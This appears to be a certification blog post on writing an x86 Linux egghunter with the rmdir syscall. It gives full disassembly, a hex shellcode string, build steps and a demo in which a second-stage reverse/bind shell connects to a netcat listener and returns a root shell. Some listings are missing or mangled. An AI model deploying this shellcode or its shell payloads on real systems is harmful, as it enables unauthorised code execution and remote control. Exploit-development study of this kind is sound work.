This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert
Student-ID: SLAE-1154
This exercise consisted in using the egghunter technique, which is rather useful when a shellcode is bigger than the available space. On those circumstances, an egg can be planted right before the second stage shellcode which when found by the hunter will be executed.
There is an interesting resource by skape which explains this concept quite well, as well as, various Linux implementations.
The one I came up with is based on his revisited access(2) system call with some differences. I’ve decided to instead use the rmdir(2) system call and to start on the very first page of the process virtual address space. Even though Linux reserves the first few pages for performance reasons and prevents a process of allocating them to avoid potential security issues related to NULL pointer dereferences on page zero, not starting the search at 0x10000 (see vm.mmap_min_addr) allows shaving off a few bytes.
The rmdir(2) system call will check if the provided address is valid. If for any reason the address can’t be accessed (unmapped, invalid permissions, etc), then EFAULT (-14) is returned, which the egghunter should check for robustness. In that case, the next page (PAGE_SIZE) is tried until addressable memory is found.
retrieving the error code
123
$ asm-errno EFAULT
14
0xfffffffffffffff2
rmdir(2) prototype
1
intrmdir(constchar*pathname);
retrieving the system call number and size of page
+----------+--------------------+
| register | value |
+----------+--------------------+
| eax | 40 |
| ebx | address to search |
+----------+--------------------+
To avoid repeating the egg twice and save space, the non-executable egg is also calculated on the fly by incrementing its value.
String comparison is done with the scas family, which depending on the direction flag (DF) being set or not it automatically increments or decrements the pointer to the next character. To illustrate this, consider the following program where a string is printed to the screen character by character. This is using the fldz and fstenv instructions to get the absolute address of the string to print:
To run the shellcode, like before, the configure command should be issued first, followed by make. The second stage payload can be specified by the STAGE2 variable:
$ ./configure
Using listening port: 0x9210
Using remote host: 0x0101017f
Using remote port: 0x9210
$ cd 0x03-egghunter/
$ STAGE2=../0x02-reverse/reverse make
nasm -f elf32 -o egghunter.o egghunter.asm
ld -N -zexecstack -o egghunter egghunter.o
08048060 <_start>:
8048060: fc cld
8048061: 31 db xor ebx,ebx
08048063 <egg_restart>:
8048063: 6a 28 push 0x28
8048065: 58 pop eax
8048066: 43 inc ebx
8048067: cd 80 int 0x80
8048069: 3c f2 cmp al,0xf2
804806b: 7507 jne 8048074 <egg_check>
804806d: 6681 cb ff 0f or bx,0xfff
8048072: eb ef jmp 8048063 <egg_restart>
08048074 <egg_check>:
8048074: b8 bd ba fe ca mov eax,0xcafebabd
8048079: 40 inc eax
804807a: 89 df mov edi,ebx
804807c: af scas eax,DWORD PTR es:[edi] 804807d: 75 e4 jne 8048063 <egg_restart>
804807f: ff e7 jmp edi
Shellcode size: 33
\xfc\x31\xdb\x6a\x28\x58\x43\xcd\x80\x3c\xf2\x75\x07\x66\x81\xcb\xff\x0f\xeb\xef\xb8\xbd\xba\xfe\xca\x40\x89\xdf\xaf\x75\xe4\xff\xe7
cc -DSHELLCODE=`asm-opcodes egghunter` -DSTAGE2=`asm-opcodes ../0x01-bind/bind` -W -Wall -fno-stack-protector -zexecstack -o shellcode skel.c
12345678
$ nc -lv 127.1.1.1 4242
Listening on [127.1.1.1](family 0, port 4242)Connection from localhost 51918 received!
id
uid=0(root)gid=0(root)groups=0(root)# ./shellcodeEgghunter length: 33
Second stage length: 70